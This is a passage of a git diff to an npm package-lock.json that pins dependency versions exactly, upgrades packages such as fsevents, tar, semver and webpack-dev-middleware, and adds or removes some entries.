"sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -19161,9 +20894,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" } }, "kind-of": { @@ -19180,14 +20913,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -19196,7 +20929,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "extend-shallow": { @@ -19205,7 +20938,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -19216,10 +20949,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" }, "dependencies": { "extend-shallow": { @@ -19228,7 +20961,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -19239,18 +20972,18 @@ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", "dev": true, "requires": { - "locate-path": "^3.0.0" + "locate-path": "3.0.0" } }, "fsevents": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz", - "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==", + "version": "1.2.9", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.9.tgz", + "integrity": "sha512-oeyj2H3EjjonWcFjD5NvZNE9Rqe4UW+nQBU2HNeKw0koVLEFIhtyETyAakeAM3de7Z/SW5kcA+fZUait9EApnw==", "dev": true, "optional": true, "requires": { - "nan": "^2.9.2", - "node-pre-gyp": "^0.10.0" + "nan": "2.14.0", + "node-pre-gyp": "0.12.0" }, "dependencies": { "abbrev": { @@ -19271,33 +21004,31 @@ "optional": true }, "are-we-there-yet": { - "version": "1.1.4", + "version": "1.1.5", "bundled": true, "dev": true, "optional": true, "requires": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" + "delegates": "1.0.0", + "readable-stream": "2.3.6" } }, "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" } }, "chownr": { - "version": "1.0.1", + "version": "1.1.1", "bundled": true, "dev": true, "optional": true @@ -19310,8 +21041,7 @@ "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", @@ -19325,16 +21055,16 @@ "optional": true }, "debug": { - "version": "2.6.9", + "version": "4.1.1", "bundled": true, "dev": true, "optional": true, "requires": { - "ms": "2.0.0" + "ms": "2.1.1" } }, "deep-extend": { - "version": "0.5.1", + "version": "0.6.0", "bundled": true, "dev": true, "optional": true @@ -19357,7 +21087,7 @@ "dev": true, "optional": true, "requires": { - "minipass": "^2.2.1" + "minipass": "2.3.5" } }, "fs.realpath": { @@ -19372,28 +21102,28 @@ "dev": true, "optional": true, "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.3" } }, "glob": { - "version": "7.1.2", + "version": "7.1.3", "bundled": true, "dev": true, "optional": true, "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" } }, "has-unicode": { @@ -19403,12 +21133,12 @@ "optional": true }, "iconv-lite": { - "version": "0.4.21", + "version": "0.4.24", "bundled": true, "dev": true, "optional": true, "requires": { - "safer-buffer": "^2.1.0" + "safer-buffer": "2.1.2" } }, "ignore-walk": { @@ -19417,7 +21147,7 @@ "dev": true, "optional": true, "requires": { - "minimatch": "^3.0.4" + "minimatch": "3.0.4" } }, "inflight": { @@ -19426,8 +21156,8 @@ "dev": true, "optional": true, "requires": { - "once": "^1.3.0", - "wrappy": "1" + "once": "1.4.0", + "wrappy": "1.0.2" } }, "inherits": { @@ -19446,7 +21176,7 @@ "bundled": true, "dev": true, "requires": { - "number-is-nan": "^1.0.0" + "number-is-nan": "1.0.1" } }, "isarray": { @@ -19459,9 +21189,8 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { - "brace-expansion": "^1.1.7" + "brace-expansion": "1.1.11" } }, "minimist": { @@ -19470,21 +21199,21 @@ "dev": true }, "minipass": { - "version": "2.2.4", + "version": "2.3.5", "bundled": true, "dev": true, "requires": { - "safe-buffer": "^5.1.1", - "yallist": "^3.0.0" + "safe-buffer": "5.1.2", + "yallist": "3.0.3" } }, "minizlib": { - "version": "1.1.0", + "version": "1.2.1", "bundled": true, "dev": true, "optional": true, "requires": { - "minipass": "^2.2.1" + "minipass": "2.3.5" } }, "mkdirp": { @@ -19496,38 +21225,38 @@ } }, "ms": { - "version": "2.0.0", + "version": "2.1.1", "bundled": true, "dev": true, "optional": true }, "needle": { - "version": "2.2.0", + "version": "2.3.0", "bundled": true, "dev": true, "optional": true, "requires": { - "debug": "^2.1.2", - "iconv-lite": "^0.4.4", - "sax": "^1.2.4" + "debug": "4.1.1", + "iconv-lite": "0.4.24", + "sax": "1.2.4" } }, "node-pre-gyp": { - "version": "0.10.0", + "version": "0.12.0", "bundled": true, "dev": true, "optional": true, "requires": { - "detect-libc": "^1.0.2", - "mkdirp": "^0.5.1", - "needle": "^2.2.0", - "nopt": "^4.0.1", - "npm-packlist": "^1.1.6", - "npmlog": "^4.0.2", - "rc": "^1.1.7", - "rimraf": "^2.6.1", - "semver": "^5.3.0", - "tar": "^4" + "detect-libc": "1.0.3", + "mkdirp": "0.5.1", + "needle": "2.3.0", + "nopt": "4.0.1", + "npm-packlist": "1.4.1", + "npmlog": "4.1.2", + "rc": "1.2.8", + "rimraf": "2.6.3", + "semver": "5.7.0", + "tar": "4.4.8" } }, "nopt": { @@ -19536,24 +21265,24 @@ "dev": true, "optional": true, "requires": { - "abbrev": "1", - "osenv": "^0.1.4" + "abbrev": "1.1.1", + "osenv": "0.1.5" } }, "npm-bundled": { - "version": "1.0.3", + "version": "1.0.6", "bundled": true, "dev": true, "optional": true }, "npm-packlist": { - "version": "1.1.10", + "version": "1.4.1", "bundled": true, "dev": true, "optional": true, "requires": { - "ignore-walk": "^3.0.1", - "npm-bundled": "^1.0.1" + "ignore-walk": "3.0.1", + "npm-bundled": "1.0.6" } }, "npmlog": { @@ -19562,10 +21291,10 @@ "dev": true, "optional": true, "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" + "are-we-there-yet": "1.1.5", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" } }, "number-is-nan": { @@ -19584,7 +21313,7 @@ "bundled": true, "dev": true, "requires": { - "wrappy": "1" + "wrappy": "1.0.2" } }, "os-homedir": { @@ -19605,8 +21334,8 @@ "dev": true, "optional": true, "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" } }, "path-is-absolute": { @@ -19622,15 +21351,15 @@ "optional": true }, "rc": { - "version": "1.2.7", + "version": "1.2.8", "bundled": true, "dev": true, "optional": true, "requires": { - "deep-extend": "^0.5.1", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" + "deep-extend": "0.6.0", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" }, "dependencies": { "minimist": { @@ -19647,26 +21376,26 @@ "dev": true, "optional": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "rimraf": { - "version": "2.6.2", + "version": "2.6.3", "bundled": true, "dev": true, "optional": true, "requires": { - "glob": "^7.0.5" + "glob": "7.1.3" } }, "safe-buffer": { - "version": "5.1.1", + "version": "5.1.2", "bundled": true, "dev": true }, @@ -19683,7 +21412,7 @@ "optional": true }, "semver": { - "version": "5.5.0", + "version": "5.7.0", "bundled": true, "dev": true, "optional": true @@ -19705,9 +21434,9 @@ "bundled": true, "dev": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } }, "string_decoder": { @@ -19716,7 +21445,7 @@ "dev": true, "optional": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.2" } }, "strip-ansi": { @@ -19724,7 +21453,7 @@ "bundled": true, "dev": true, "requires": { - "ansi-regex": "^2.0.0" + "ansi-regex": "2.1.1" } }, "strip-json-comments": { @@ -19734,18 +21463,18 @@ "optional": true }, "tar": { - "version": "4.4.1", + "version": "4.4.8", "bundled": true, "dev": true, "optional": true, "requires": { - "chownr": "^1.0.1", - "fs-minipass": "^1.2.5", - "minipass": "^2.2.4", - "minizlib": "^1.1.0", - "mkdirp": "^0.5.0", - "safe-buffer": "^5.1.1", - "yallist": "^3.0.2" + "chownr": "1.1.1", + "fs-minipass": "1.2.5", + "minipass": "2.3.5", + "minizlib": "1.2.1", + "mkdirp": "0.5.1", + "safe-buffer": "5.1.2", + "yallist": "3.0.3" } }, "util-deprecate": { @@ -19755,12 +21484,12 @@ "optional": true }, "wide-align": { - "version": "1.1.2", + "version": "1.1.3", "bundled": true, "dev": true, "optional": true, "requires": { - "string-width": "^1.0.2" + "string-width": "1.0.2" } }, "wrappy": { @@ -19769,7 +21498,7 @@ "dev": true }, "yallist": { - "version": "3.0.2", + "version": "3.0.3", "bundled": true, "dev": true } @@ -19781,8 +21510,8 @@ "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", "dev": true, "requires": { - "is-glob": "^3.1.0", - "path-dirname": "^1.0.0" + "is-glob": "3.1.0", + "path-dirname": "1.0.2" }, "dependencies": { "is-glob": { @@ -19791,51 +21520,24 @@ "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", "dev": true, "requires": { - "is-extglob": "^2.1.0" + "is-extglob": "2.1.1" } } } }, - "globby": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-6.1.0.tgz", - "integrity": "sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=", - "dev": true, - "requires": { - "array-union": "^1.0.1", - "glob": "^7.0.3", - "object-assign": "^4.0.1", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0" - }, - "dependencies": { - "pify": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=", - "dev": true - } - } - }, "has-flag": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, - "invert-kv": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz", - "integrity": "sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA==", - "dev": true - }, "is-accessor-descriptor": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -19844,7 +21546,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -19853,9 +21555,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "is-extglob": { @@ -19865,12 +21567,12 @@ "dev": true }, "is-glob": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz", - "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", + "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", "dev": true, "requires": { - "is-extglob": "^2.1.1" + "is-extglob": "2.1.1" } }, "is-number": { @@ -19879,7 +21581,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -19888,11 +21590,17 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, "isobject": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", @@ -19905,34 +21613,14 @@ "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", "dev": true }, - "lcid": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz", - "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==", - "dev": true, - "requires": { - "invert-kv": "^2.0.0" - } - }, "locate-path": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", "dev": true, "requires": { - "p-locate": "^3.0.0", - "path-exists": "^3.0.0" - } - }, - "mem": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/mem/-/mem-4.0.0.tgz", - "integrity": "sha512-WQxG/5xYc3tMbYLXoXPm81ET2WDULiU5FxbuIoNbJqLOOI8zehXFdZuiUEgfdrU2mVB1pxBZUGlYORSrpuJreA==", - "dev": true, - "requires": { - "map-age-cleaner": "^0.1.1", - "mimic-fn": "^1.0.0", - "p-is-promise": "^1.1.0" + "p-locate": "3.0.0", + "path-exists": "3.0.0" } }, "micromatch": { @@ -19941,46 +21629,47 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" } }, + "mime": { + "version": "2.4.4", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.4.tgz", + "integrity": "sha512-LRxmNwziLPT828z+4YkNzloCFC2YM4wrB99k+AV5ZbEyfGNWfG8SO1FUXLmLDBSo89NrJZ4DIWeLjy1CHGhMGA==", + "dev": true + }, "nan": { - "version": "2.11.1", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.11.1.tgz", - "integrity": "sha512-iji6k87OSXa0CcrLl9z+ZiYSuR2o+c0bGuNmXdrhTQTakxytAFsC56SArGYoiHlJlFoHSnvmhpceZJaXkVuOtA==", + "version": "2.14.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.0.tgz", + "integrity": "sha512-INOFj37C7k3AfaNTtX8RhsTw7qRy7eLET14cROi9+5HAVbbHuIWUHEauBv5qT4Av2tWasiTY1Jw6puUNqRJXQg==", "dev": true, "optional": true }, - "os-locale": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.0.1.tgz", - "integrity": "sha512-7g5e7dmXPtzcP4bgsZ8ixDVqA7oWYuEz4lOSujeWyliPai4gfVDiFIcwBg3aGCPnmSGfzOKTK3ccPn0CKv3DBw==", - "dev": true, - "requires": { - "execa": "^0.10.0", - "lcid": "^2.0.0", - "mem": "^4.0.0" - } + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true }, "p-limit": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.0.0.tgz", - "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==", + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.2.1.tgz", + "integrity": "sha512-85Tk+90UCVWvbDavCLKPOLC9vvY8OwEX/RtKF+/1OADJMVlFfEHOiMTPVyxg7mk/dKa+ipdHm0OUkTvCpMTuwg==", "dev": true, "requires": { - "p-try": "^2.0.0" + "p-try": "2.2.0" } }, "p-locate": { @@ -19989,13 +21678,13 @@ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", "dev": true, "requires": { - "p-limit": "^2.0.0" + "p-limit": "2.2.1" } }, "p-try": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.0.0.tgz", - "integrity": "sha512-hMp0onDKIajHfIkdRk3P4CdCmErkYAxxDtP3Wx/4nZ3aGlau2VKh3mZpcuFkH27WQkL/3WBCPOktzA9ZOAnMQQ==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", "dev": true }, "path-exists": { @@ -20004,54 +21693,96 @@ "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", "dev": true }, - "pify": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", - "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", "dev": true }, + "range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "dev": true + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "dev": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "readdirp": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", + "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", + "dev": true, + "requires": { + "graceful-fs": "4.1.11", + "micromatch": "3.1.10", + "readable-stream": "2.3.6" + } + }, "schema-utils": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", "dev": true, "requires": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" + "ajv": "6.5.2", + "ajv-errors": "1.0.0", + "ajv-keywords": "3.2.0" } }, "semver": { - "version": "5.5.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz", - "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==", + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", "dev": true }, - "supports-color": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", - "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "safe-buffer": "5.1.1" + } + }, + "supports-color": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz", + "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==", + "dev": true, + "requires": { + "has-flag": "3.0.0" } }, "uuid": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", - "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==", + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.3.tgz", + "integrity": "sha512-pW0No1RGHgzlpHJO1nsVrHKpOEIxkGg1xB+v0ZmdNH5OAeAwzAVrCnI2/6Mtx+Uys6iaylxa+D3g4j63IKKjSQ==", "dev": true }, "webpack-dev-middleware": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-3.4.0.tgz", - "integrity": "sha512-Q9Iyc0X9dP9bAsYskAVJ/hmIZZQwf/3Sy4xCAZgL5cUkjZmUZLt4l5HpbST/Pdgjn3u6pE7u5OdGd1apgzRujA==", + "version": "3.7.2", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-3.7.2.tgz", + "integrity": "sha512-1xC42LxbYoqLNAhV6YzTYacicgMZQTqRd27Sim9wn5hJrX3I5nxYy1SxSd4+gjUFsz1dQFj+yEe6zEVmSkeJjw==", "dev": true, "requires": { - "memory-fs": "~0.4.1", - "mime": "^2.3.1", - "range-parser": "^1.0.3", - "webpack-log": "^2.0.0" + "memory-fs": "0.4.1", + "mime": "2.4.4", + "mkdirp": "0.5.1", + "range-parser": "1.2.1", + "webpack-log": "2.0.0" } }, "webpack-log": { @@ -20060,37 +21791,47 @@ "integrity": "sha512-cX8G2vR/85UYG59FgkoMamwHUIkSSlV3bBMRsbxVXVUk2j6NleCKjQ/WE9eYg9WY4w25O9w8wKP4rzNZFmUcUg==", "dev": true, "requires": { - "ansi-colors": "^3.0.0", - "uuid": "^3.3.2" + "ansi-colors": "3.2.4", + "uuid": "3.3.3" + } + }, + "ws": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.1.tgz", + "integrity": "sha512-GIyAXC2cB7LjvpgMt9EKS2ldqr0MTrORaleiOno6TweZ6r3TKtoFQWay/2PceJ3RuBasOHzXNn5Lrw1X0bEjqA==", + "dev": true, + "requires": { + "async-limiter": "1.0.1" } }, "yargs": { - "version": "12.0.2", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.2.tgz", - "integrity": "sha512-e7SkEx6N6SIZ5c5H22RTZae61qtn3PYUE8JYbBFlK9sYmh3DMQ6E5ygtaG/2BW0JZi4WGgTR2IV5ChqlqrDGVQ==", + "version": "12.0.5", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.5.tgz", + "integrity": "sha512-Lhz8TLaYnxq/2ObqHDql8dX8CJi97oHxrjUcYtzKbbykPtVW9WB+poxI+NM2UIzsMgNCZTIf0AQwsjK5yMAqZw==", "dev": true, "requires": { - "cliui": "^4.0.0", - "decamelize": "^2.0.0", - "find-up": "^3.0.0", - "get-caller-file": "^1.0.1", - "os-locale": "^3.0.0", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1 || ^4.0.0", - 